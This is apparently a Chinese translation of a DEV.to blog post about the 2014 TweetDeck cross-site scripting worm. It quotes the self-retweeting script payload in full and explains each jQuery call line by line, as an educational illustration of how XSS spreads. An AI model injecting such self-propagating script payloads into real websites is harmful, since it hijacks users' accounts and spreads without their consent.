发布于 2026-01-06 1 阅读
0

我最喜欢的跨站脚本攻击演示 DEV 的全球展示挑战赛,由 Mux 呈现:展示你的项目!

我最喜欢的跨站脚本攻击演示

由 Mux 赞助的 DEV 全球展示挑战赛:展示你的项目!

这是几年前发生的一件趣事。如果你之前没听说过,那我就给你讲讲。如果你已经知道了,我建议你分享出去。我觉得这件事既滑稽又真实地展示了跨站脚本攻击的漏洞。

首先,跨站脚本攻击的定义

跨站脚本攻击 (XSS) 指的是客户端代码注入攻击,攻击者可以通过这种攻击将恶意脚本(也常被称为恶意有效载荷)注入到合法的网站或 Web 应用程序中。

如果这还不清楚,我们不妨直接来看 Tweetdeck 的例子。这应该能解释清楚。

<script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('Tweetdeck 中存在 XSS 漏洞')</script>♥

— *andy (@derGeruhn) 2014年6月11日

Tweetdeck 是一个第三方 Twitter 平台,已被 Twitter 以 4000 万美元收购。它允许 Twitter 高级用户浏览更加个性化的 Twitter 信息流。而且,在发布这条推文时,它还允许浏览器将推文内容作为代码执行。

让我们深入分析一下这条推文的代码。

<script class="xss">
Enter fullscreen mode Exit fullscreen mode

这是一个带有类名“xss”的脚本标签的开头。它是一个普通的HTML节点,现在将在浏览器中执行。

 $('.xss')
Enter fullscreen mode Exit fullscreen mode

这是一个利用 Tweetdeck 页面中已预置 jQuery 的jQuery选择器,它通过 class 为“xss”来选择标签。即使没有 jQuery,这种攻击也可以实施,但 jQuery 的存在使攻击变得更加容易。

.parents().eq(1)
Enter fullscreen mode Exit fullscreen mode

此命令选择脚本标签的父元素。这大概是推文的父元素<div>

.find('a').eq(1).click()
Enter fullscreen mode Exit fullscreen mode

此命令选择所选父元素的第二个子元素(即锚标记),然后单击它。

$('[data-action=retweet]').click()
Enter fullscreen mode Exit fullscreen mode

此命令选择具有 data 属性的元素data-action=retweet并单击它。

alert('XSS in Tweetdeck')
Enter fullscreen mode Exit fullscreen mode

一切损失已经造成,但为了以防万一,还是触发了警报对话。

</script>♥
Enter fullscreen mode Exit fullscreen mode

因为140个字符足以完成这次攻击,所以剧本已经封存,并附上了一颗心。❤️

当这条推文<div>在 Tweetdeck 浏览器中显示时,代码就会执行,推文本身也会被转发。这会导致它出现在更多 Tweetdeck 客户端中,病毒便会不断传播。这就是病毒式传播的含义,也展现了跨站脚本攻击的威力。自网络计算诞生以来,计算机病毒以类似方式传播的案例不胜枚举。

让我们再来看一下这条推文:

<script class="xss">$('.xss').parents().eq(1).find('a').eq(1).click();$('[data-action=retweet]').click();alert('Tweetdeck 中存在 XSS 漏洞')</script>♥

— *andy (@derGeruhn) 2014年6月11日

我不知道你们的情况如何,但我发的推文很少有这样的转发量。

祝您编程愉快!</script>❤️

文章来源:https://dev.to/ben/my-all-time-favorite-demonstration-of-a-cross-site-scripting-attack